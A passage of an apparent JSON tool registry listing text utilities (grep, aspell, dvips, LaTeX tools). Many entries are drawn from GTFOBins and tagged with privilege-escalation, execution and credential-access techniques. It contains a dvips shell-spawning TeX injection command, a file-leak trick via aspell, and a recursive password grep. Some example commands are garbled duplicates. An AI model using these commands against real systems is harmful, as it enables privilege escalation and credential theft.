        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# Grep — Text Pattern Search\n\nGrep is one of the essential Unix tools. It searches files and streams for lines matching a pattern, making it invaluable for log analysis, code searching, and data extraction pipelines.\n\n## Search Patterns\n\n### Basic vs Extended Regex\n```bash\n# Basic regex (default): + and ? are literal\ngrep 'foo\\+' file.txt\n\n# Extended regex: + and ? are metacharacters\ngrep -E 'foo+' file.txt\n\n# Fixed strings (no regex, faster)\ngrep -F 'foo+' file.txt\n```\n\n### Common Regex Patterns\n```bash\n# Lines starting with a pattern\ngrep '^error' file.txt\n\n# Lines ending with a pattern\ngrep 'done$' file.txt\n\n# Word boundaries\ngrep -w 'class' file.txt\n\n# Character classes\ngrep '[0-9]\\{3\\}-[0-9]\\{4\\}' file.txt\n```\n\n## Pipelined Usage\n\n```bash\n# Chain with other tools\nps aux | grep python | grep -v grep\n\n# Extract and count unique matches\ngrep -oP 'https?://[^\\s\"]+' file.txt | sort | uniq -c | sort -rn\n\n# Find files containing pattern\ngrep -rl 'main' --include='*.py' src/\n```\n\n## Performance Tips\n\n| Situation | Best Tool |\n|-----------|-----------|\n| Single file | `grep` is fast enough |\n| Large codebase | `ripgrep (rg)` is 5-10x faster |\n| Binary search | `grep -a` or `strings \\| grep` |\n| Compressed files | `zgrep` for .gz files |\n\n## Related Tools\n\n- **[ripgrep (rg)](../../search/rg.md)** — Faster recursive search\n- **[sed](../process/sed.md)** — Stream editor for find-and-replace\n- **[awk](../process/awk.md)** — Text processing and field extraction\n",
    "_source": "grep.md",
    "allowed-tools": [
      "grep",
      "egrep",
      "fgrep",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "text.search.result",
        "description": "Lines matching the search pattern",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "text.search.count",
        "description": "Count of matching lines",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "text.search.regex",
      "text.search.fixed",
      "text.search.recursive",
      "text.search.invert",
      "text.search.context",
      "data.extract.pattern"
    ],
    "contract": {
      "inputs": [
        {
          "type": "text.plain",
          "description": "Text input to search through"
        },
        {
          "type": "text.regex.pattern",
          "description": "Regular expression or fixed string pattern"
        }
      ],
      "outputs": [
        {
          "type": "text.search.result",
          "description": "Lines matching the search pattern",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Powerful text search utility for pattern matching using regular expressions across files and streams.",
    "examples": [
      {
        "description": "Search for a pattern in a file",
        "command": "grep 'error' logfile.txt"
      },
      {
        "description": "Case-insensitive recursive search",
        "command": "grep -ri 'TODO' src/"
      },
      {
        "description": "Show context lines around matches",
        "command": "grep -C 3 'Exception' app.log"
      },
      {
        "description": "Count matches per file",
        "command": "grep -c 'function' *.py"
      },
      {
        "description": "Invert match (lines not containing pattern)",
        "command": "grep -v '^#' config.conf"
      },
      {
        "description": "Extract IP addresses with regex",
        "command": "grep -oE '\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b' access.log"
      },
      {
        "description": "Darkiros UTILS: Extract md5 hash ({32})",
        "command": "egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' [file] | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt"
      },
      {
        "description": "Darkiros UTILS: Extract sha1 hash ({40})",
        "command": "egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{40}([^a-fA-F0-9]|$)' [file] | egrep -o '[a-fA-F0-9]{40}' > sha1-hashes.txt"
      },
      {
        "description": "Darkiros UTILS: Extract sha256 hash ({64})",
        "command": "egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{64}([^a-fA-F0-9]|$)' [file] | egrep -o '[a-fA-F0-9]{64}' > sha256-hashes.txt"
      },
      {
        "description": "Darkiros UTILS: Extract sha512 hash ({128})",
        "command": "egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{128}([^a-fA-F0-9]|$)' [file] | egrep -o '[a-fA-F0-9]{128}' > sha512-hashes.txt"
      },
      {
        "description": "Darkiros UTILS: Extract valid MySQL-old hash",
        "command": "grep -e \"[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}\" [file] > mysql-old-hashes.txt"
      },
      {
        "description": "Darkiros UTILS: Extract valid blowfish hash",
        "command": "grep -e \"$2a\\\\$\\\\08\\\\$(.){75}\" [file] > blowfish-hashes.txt"
      },
      {
        "description": "Darkiros UTILS: Extract emails from file",
        "command": "grep -E -o \"\\\\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,6}\\\\b\" [file]"
      },
      {
        "description": "Darkiros UTILS: Extract IP from file",
        "command": "grep -E -o \"(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\" file.txt"
      },
      {
        "description": "NetRunners usefull/shell",
        "command": "grep -r --color=always 'password' ."
      }
    ],
    "execution": {
      "template": "grep {extended-regexp} {fixed-strings} {basic-regexp} {perl-regexp} {regexp}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "batch"
    ],
    "id": "text-search-grep",
    "install": [
      {
        "method": "apt",
        "package_name": "grep",
        "commands": [
          "apt-get install -y grep"
        ]
      },
      {
        "method": "brew",
        "package_name": "grep",
        "commands": [
          "brew install grep"
        ]
      }
    ],
    "mitre_ids": [
      "T1208"
    ],
    "name": "grep",
    "namespace": "text:search:grep",
    "parameters": [
      {
        "name": "NUM",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "-NUM",
          "--context"
        ],
        "flag": "-NUM"
      },
      {
        "name": "after-context",
        "template_key": "after-context",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "print NUM lines of trailing context",
        "aliases": [
          "-A",
          "--after-context"
        ],
        "flag": "-A"
      },
      {
        "name": "basic-regexp",
        "template_key": "basic-regexp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "PATTERNS are basic regular expressions",
        "aliases": [
          "-G",
          "--basic-regexp"
        ],
        "flag": "-G"
      },
      {
        "name": "before-context",
        "template_key": "before-context",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-B",
          "--before-context"
        ],
        "flag": "-B"
      },
      {
        "name": "binary",
        "template_key": "binary",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not strip CR characters at EOL (MSDOS/Windows)",
        "aliases": [
          "-U",
          "--binary"
        ],
        "enum": [
          "MSDOS",
          "Windows"
        ],
        "flag": "-U"
      },
      {
        "name": "binary-files",
        "template_key": "binary-files",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "assume that binary files are TYPE",
        "aliases": [
          "--binary-files"
        ],
        "flag": "--binary-files"
      },
      {
        "name": "byte-offset",
        "template_key": "byte-offset",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print the byte offset with output lines",
        "aliases": [
          "-b",
          "--byte-offset"
        ],
        "flag": "-b"
      },
      {
        "name": "colour",
        "type": "boolean",
        "required": false,
        "description": "use markers to highlight the matching strings;",
        "aliases": [
          "--colour"
        ],
        "flag": "--colour"
      },
      {
        "name": "context",
        "template_key": "context",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "print NUM lines of output context",
        "aliases": [
          "-C",
          "--context"
        ],
        "flag": "-C"
      },
      {
        "name": "count",
        "template_key": "count",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print only a count of selected lines per FILE",
        "aliases": [
          "-c",
          "--count"
        ],
        "flag": "-c"
      },
      {
        "name": "dereference-recursive",
        "template_key": "dereference-recursive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--include=GLOB search only files that match GLOB (a file pattern) --exclude=GLOB skip files that match GLOB --exclude-from=FILE skip files that match any file pattern from FILE --exclude-dir=GLOB skip directories that match GLOB",
        "aliases": [
          "-R",
          "--dereference-recursive"
        ],
        "flag": "-R"
      },
      {
        "name": "devices",
        "template_key": "devices",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "how to handle devices, FIFOs and sockets",
        "aliases": [
          "-D",
          "--devices"
        ],
        "flag": "-D"
      },
      {
        "name": "directories",
        "template_key": "directories",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ACTION is 'read', 'recurse', or 'skip'",
        "aliases": [
          "-d",
          "--directories"
        ],
        "flag": "-d"
      },
      {
        "name": "exclude_dir",
        "type": "boolean",
        "required": false,
        "description": "skip directories that match GLOB",
        "aliases": [
          "--exclude-dir"
        ],
        "flag": "--exclude-dir"
      },
      {
        "name": "exclude_from",
        "type": "boolean",
        "required": false,
        "description": "skip files that match any file pattern from FILE",
        "aliases": [
          "--exclude-from"
        ],
        "flag": "--exclude-from"
      },
      {
        "name": "extended-regexp",
        "template_key": "extended-regexp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "PATTERNS are extended regular expressions",
        "aliases": [
          "-E",
          "--extended-regexp"
        ],
        "flag": "-E"
      },
      {
        "name": "file",
        "template_key": "file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "take PATTERNS from FILE",
        "aliases": [
          "-f",
          "--file"
        ],
        "flag": "-f"
      },
      {
        "name": "files-with-matches",
        "template_key": "files-with-matches",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-l",
          "--files-with-matches"
        ],
        "flag": "-l"
      },
      {
        "name": "files-without-match",
        "template_key": "files-without-match",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-L",
          "--files-without-match"
        ],
        "flag": "-L"
      },
      {
        "name": "fixed-strings",
        "template_key": "fixed-strings",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "PATTERNS are strings",
        "aliases": [
          "-F",
          "--fixed-strings"
        ],
        "flag": "-F"
      },
      {
        "name": "flag-N",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as --context=NUM",
        "aliases": [
          "-N"
        ],
        "flag": "-N"
      },
      {
        "name": "group-separator",
        "template_key": "group-separator",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--no-group-separator do not print separator for matches with context --color[=WHEN], --colour[=WHEN] use markers to highlight the matching strings; WHEN is 'always', 'never', or 'auto'",
        "aliases": [
          "--group-separator"
        ],
        "flag": "--group-separator"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help text and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "ignore-case",
        "template_key": "ignore-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore case distinctions in patterns and data",
        "aliases": [
          "-i",
          "--ignore-case"
        ],
        "flag": "-i"
      },
      {
        "name": "initial-tab",
        "template_key": "initial-tab",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "make tabs line up (if needed)",
        "aliases": [
          "-T",
          "--initial-tab"
        ],
        "flag": "-T"
      },
      {
        "name": "invert-match",
        "template_key": "invert-match",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "select non-matching lines",
        "aliases": [
          "-v",
          "--invert-match"
        ],
        "flag": "-v"
      },
      {
        "name": "label",
        "template_key": "label",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "use LABEL as the standard input file name prefix",
        "aliases": [
          "--label"
        ],
        "flag": "--label"
      },
      {
        "name": "line-buffered",
        "template_key": "line-buffered",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "flush output on every line",
        "aliases": [
          "--line-buffered"
        ],
        "flag": "--line-buffered"
      },
      {
        "name": "line-number",
        "template_key": "line-number",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print line number with output lines",
        "aliases": [
          "-n",
          "--line-number"
        ],
        "flag": "-n"
      },
      {
        "name": "line-regexp",
        "template_key": "line-regexp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "match only whole lines",
        "aliases": [
          "-x",
          "--line-regexp"
        ],
        "flag": "-x"
      },
      {
        "name": "max-count",
        "template_key": "max-count",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "stop after NUM selected lines",
        "aliases": [
          "-m",
          "--max-count"
        ],
        "flag": "-m"
      },
      {
        "name": "no-filename",
        "template_key": "no-filename",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suppress the file name prefix on output",
        "aliases": [
          "-h",
          "--no-filename"
        ],
        "flag": "-h"
      },
      {
        "name": "no-ignore-case",
        "template_key": "no-ignore-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not ignore case distinctions (default)",
        "aliases": [
          "--no-ignore-case"
        ],
        "flag": "--no-ignore-case"
      },
      {
        "name": "no-messages",
        "template_key": "no-messages",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suppress error messages",
        "aliases": [
          "-s",
          "--no-messages"
        ],
        "flag": "-s"
      },
      {
        "name": "no_group_separator",
        "type": "boolean",
        "required": false,
        "description": "do not print separator for matches with context",
        "aliases": [
          "--no-group-separator"
        ],
        "flag": "--no-group-separator"
      },
      {
        "name": "null",
        "template_key": "null",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print 0 byte after FILE name",
        "aliases": [
          "-Z",
          "--null"
        ],
        "flag": "-Z"
      },
      {
        "name": "null-data",
        "template_key": "null-data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "a data line ends in 0 byte, not newline",
        "aliases": [
          "-z",
          "--null-data"
        ],
        "flag": "-z"
      },
      {
        "name": "only-matching",
        "template_key": "only-matching",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show only nonempty parts of lines that match",
        "aliases": [
          "-o",
          "--only-matching"
        ],
        "flag": "-o"
      },
      {
        "name": "perl-regexp",
        "template_key": "perl-regexp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "PATTERNS are Perl regular expressions",
        "aliases": [
          "-P",
          "--perl-regexp"
        ],
        "flag": "-P"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suppress all normal output",
        "aliases": [
          "-q",
          "--quiet",
          "--silent"
        ],
        "flag": "-q"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "like --directories=recurse",
        "aliases": [
          "-r",
          "--recursive"
        ],
        "flag": "-r"
      },
      {
        "name": "regexp",
        "template_key": "regexp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use PATTERNS for matching",
        "aliases": [
          "-e",
          "--regexp"
        ],
        "flag": "-e"
      },
      {
        "name": "text",
        "template_key": "text",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "equivalent to --binary-files=text",
        "aliases": [
          "-a",
          "--text"
        ],
        "flag": "-a"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display version information and exit",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      },
      {
        "name": "with-filename",
        "template_key": "with-filename",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print file name with output lines",
        "aliases": [
          "-H",
          "--with-filename"
        ],
        "flag": "-H"
      },
      {
        "name": "word-regexp",
        "template_key": "word-regexp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "match only whole words",
        "aliases": [
          "-w",
          "--word-regexp"
        ],
        "flag": "-w"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "GNU Grep manual",
        "url": "https://www.gnu.org/software/grep/manual/"
      },
      {
        "label": "Regular expressions guide",
        "url": "https://www.regular-expressions.info/"
      }
    ],
    "related_tools": [
      "rg",
      "ack",
      "awk",
      "sed",
      "ag",
      "system-file-tr",
      "text-process-awk",
      "text-process-sed"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "medium"
    },
    "risk_level": "low",
    "techniques": [
      "analysis",
      "data-manipulation",
      "execution",
      "process-manip",
      "persistence",
      "credential-access",
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "matching-lines",
        "match-count"
      ],
      "consumes": [
        "input-text",
        "search-pattern"
      ]
    }
  },
  {
    "_body": "",
    "_source": "look.md",
    "allowed-tools": [
      "look",
      "grep",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Display lines beginning with a given string, can read files.",
    "examples": [
      {
        "description": "Read a file via look",
        "command": "look /path/to/file"
      }
    ],
    "execution": {
      "template": "look /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-search-look",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "name": "look",
    "namespace": "text:search:look",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/look/"
      }
    ],
    "related_tools": [
      "grep"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n# aspell — Interactive Spell Checker\n\naspell is an interactive spell checker. The `-c` flag opens a file in the spell checker TUI, useful for reading files when used with elevated privileges. The `--conf` flag leaks file contents through error messages.\n",
    "_source": "aspell.md",
    "allowed-tools": [
      "aspell",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "text.spellcheck"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file to spell-check"
        }
      ],
      "outputs": [
        {
          "type": "system.file.content",
          "description": "File content displayed in TUI or as error",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Interactive spell checker that can read arbitrary files via its TUI or config file parsing.",
    "examples": [
      {
        "description": "Open a file in the interactive spell checker TUI",
        "command": "aspell -c /path/to/input-file"
      },
      {
        "description": "Leak file content through config parsing error message",
        "command": "aspell --conf /path/to/input-file"
      }
    ],
    "execution": {
      "template": "aspell {c} {conf}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local"
    ],
    "global_vars": {},
    "id": "text-aspell",
    "install": [
      {
        "method": "apt",
        "package_name": "aspell",
        "commands": [
          "apt-get install -y aspell"
        ]
      }
    ],
    "name": "aspell",
    "namespace": "text:spell:aspell",
    "parameters": [
      {
        "name": "c",
        "type": "file",
        "required": false,
        "description": "Check a file in interactive mode",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "conf",
        "type": "file",
        "required": false,
        "description": "Config file path",
        "aliases": [
          "--conf"
        ],
        "flag": "--conf"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "aspell man page",
        "url": "https://man7.org/linux/man-pages/man1/aspell.1.html"
      }
    ],
    "related_tools": [
      "ispell"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ispell.md",
    "allowed-tools": [
      "ispell",
      "aspell",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Interactive spell checker, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via ispell",
        "command": "ispell /path/to/file"
      },
      {
        "description": "Execute command via ispell",
        "command": "ispell /path/to/file"
      }
    ],
    "execution": {
      "template": "ispell /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-spell-ispell",
    "install": [
      {
        "method": "apt",
        "package_name": "ispell",
        "commands": [
          "apt-get install -y ispell"
        ]
      }
    ],
    "name": "ispell",
    "namespace": "text:spell:ispell",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ispell/"
      }
    ],
    "related_tools": [
      "aspell"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "dvips.md",
    "allowed-tools": [
      "dvips",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Convert TeX DVI to PostScript, can spawn a shell via crafted DVI files.",
    "examples": [
      {
        "description": "Spawn a shell via dvips with crafted DVI",
        "command": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\ndvips -R0 texput.dvi\n"
      }
    ],
    "execution": {
      "template": "dvips -R0 texput.dvi",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-tex-dvips",
    "install": [
      {
        "method": "apt",
        "package_name": "texlive-binaries",
        "commands": [
          "apt-get install -y texlive-binaries"
        ]
      }
    ],
    "name": "dvips",
    "namespace": "text:tex:dvips",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/dvips/"
      }
    ],
    "related_tools": [
      "tex",
      "latex"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "latex.md",
    "allowed-tools": [
      "latex",
      "pdflatex",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "LaTeX typesetting, can read files via \\input and execute commands.",
    "examples": [
      {
        "description": "Read a file via latex",
        "command": "latex '\\input{/path/to/file}'"
      },
      {
        "description": "Execute command via latex",
        "command": "latex '\\input{/path/to/file}'"
      }
    ],
    "execution": {
      "template": "latex \\\\input{/path/to/file}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-tex-latex",
    "install": [
      {
        "method": "apt",
        "package_name": "texlive-latex-base",
        "commands": [
          "apt-get install -y texlive-latex-base"
        ]
      }
    ],
    "name": "latex",
    "namespace": "text:tex:latex",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/latex/"
      }
    ],
    "related_tools": [
      "lualatex",
      "xelatex",
      "pdflatex"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "latexmk.md",
    "allowed-tools": [
      "latexmk",
      "latex",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "LaTeX build tool, can execute commands via latex engine.",
    "examples": [
      {
        "description": "Execute command via latexmk",
        "command": "latexmk /path/to/file"
      }
    ],
    "execution": {
      "template": "latexmk /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-tex-latexmk",
    "install": [
      {
        "method": "apt",
        "package_name": "latexmk",
        "commands": [
          "apt-get install -y latexmk"
        ]
      }
    ],
    "name": "latexmk",
    "namespace": "text:tex:latexmk",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/latexmk/"
      }
    ],
    "related_tools": [
      "latex",
      "pdflatex"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "lualatex.md",
    "allowed-tools": [
      "lualatex",
      "luatex",
      "latex",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "LuaLaTeX typesetting, can read files and execute Lua code.",
    "examples": [
      {
        "description": "Read a file via lualatex",
        "command": "lualatex /path/to/file"
      },
      {
        "description": "Execute Lua code via lualatex",
        "command": "lualatex /path/to/file"
      }
    ],
    "execution": {
      "template": "lualatex /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-tex-lualatex",
    "install": [
      {
        "method": "apt",
        "package_name": "texlive-luatex",
        "commands": [
          "apt-get install -y texlive-luatex"
        ]
      }
    ],
    "name": "lualatex",
    "namespace": "text:tex:lualatex",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/lualatex/"
      }
    ],
    "related_tools": [
      "latex",
      "luatex",
      "tex"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
